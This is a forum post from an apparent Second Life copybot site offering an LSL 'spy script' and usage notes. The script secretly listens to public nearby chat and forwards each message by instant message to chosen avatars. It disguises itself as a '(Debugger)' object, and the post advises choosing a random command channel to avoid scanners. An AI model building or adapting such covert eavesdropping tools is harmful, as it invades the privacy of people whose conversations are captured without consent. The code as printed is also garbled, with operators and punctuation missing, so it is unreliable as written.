Second Life Copybot
Multi Av IM Chat Relay / Spy Script - Printable Version

+- Second Life Copybot (https://secondlifecopybot.com)
+-- Forum: SECOND LIFE PRODUCTS (https://secondlifecopybot.com/forum-1.html)
+--- Forum: SCRIPTS (https://secondlifecopybot.com/forum-1022.html)
+---- Forum: SCRIPTS (https://secondlifecopybot.com/forum-8.html)
+----- Forum: Communication Scripts (https://secondlifecopybot.com/forum-46.html)
+----- Thread: Multi Av IM Chat Relay / Spy Script (/thread-672.html)



Multi Av IM Chat Relay / Spy Script - zion - 02-18-2013

-----------------------------------------------
Script Configuration:
-----------------------------------------------
* The msgkeylist is a list of avatar keys to send conversations to. It can contain as many avatar keys as you like (provided script memory and list length limitations) but I would not recommend more than a few if you'd like to do anything useful with the script because the more keys are added to the list, the slower the IM responses will be as the script makes its way through the for loop.

* The keys provided in the script are randomly generated and are for example only and probably have no significance in SL or OpenSim. So change them Smile

* Avatars configured in msgkeylist will have the ability to turn the spy on and off so only configure those who you trust.

* Obviously make sure to only put keys in that you WANT the conversations to be sent to and not the person(s) you're spying on lol.

* The spy script will be on by default and will start sending chat to IM on script compile and reset.

-----------------------------------------------
Chat command usage:
-----------------------------------------------
/123456789 on
/123456789 off

Turns spy on and off, you will receive an IM saying "System: Debug On/Off" as confirmation of the command success. The chat command channel can be changed as desired by changing integer switch_channel = 123456789;. Choose something long and random so as to minimize the chance of channel cross talk and channel scanners picking up on your chat command.
-----------------------------------------------

PHP Code:
//DISCLAIMER: I take absolutely no responsibility for the use of this script in any way. Use at your own risk.

//This script uses IMs to send chat to the configured avatars. It has the potential to quickly cap offline IMs so deactivate the spy script or remove the script when not in use.

//Avatar keys go here. These are the avatars that you want to send nearby chat conversation to. I wouldn't recommend more than a few keys though as the more keys are added, the slower the IM responses as the script makes its way through the for loop.
list msgkeylist 
[
"23535a9e-fb89-4146-9e5d-388aef8e7ec0",
"c3054eba-e197-44f2-baf0-e5c8ccca35f8",
"542f0be5-fd2a-4ab0-b0e3-578b7824f162"
]; 

integer switch_channel 123456789//Channel to listen for spy on/off command. Can be changed as desired.

//----------------------------------------------------------
// Don't edit below unless you know what you're doing
//----------------------------------------------------------

integer debug TRUE;

testmsg(string namestring str)
{
    
integer length llGetListLength(msgkeylist);
    
integer i 0;
    
    
string oname llGetObjectName();
    
llSetObjectName(name " (Debugger)");
    
    for(
ilengthi++)
    {        
        
llInstantMessage(llList2String(msgkeylisti), str);
    }
    
    
llSetObjectName(oname);
}

default
{
    
state_entry()
    {
        
llListen(0"""""");
        
llListen(switch_channel"""""");
        
testmsg("System""Debugger ready!");
    }
    
    
on_rez(integer x)
    {
        
llResetScript();
    }
    
    
listen(integer channelstring namekey idstring message)
    {
        if(
channel == && debug == TRUE)
        {
            
testmsg(namemessage);
        }
        
        if(
channel == switch_channel && llListFindList(msgkeylist, [id]) != -1)
        {
            if(
message == "off"
            {
                
testmsg("System""Debug Off");
                
debug FALSE;
            }
            
            if(
message == "on")
            {
                
testmsg("System""Debug On");
                
debug TRUE;
            }
        }
    }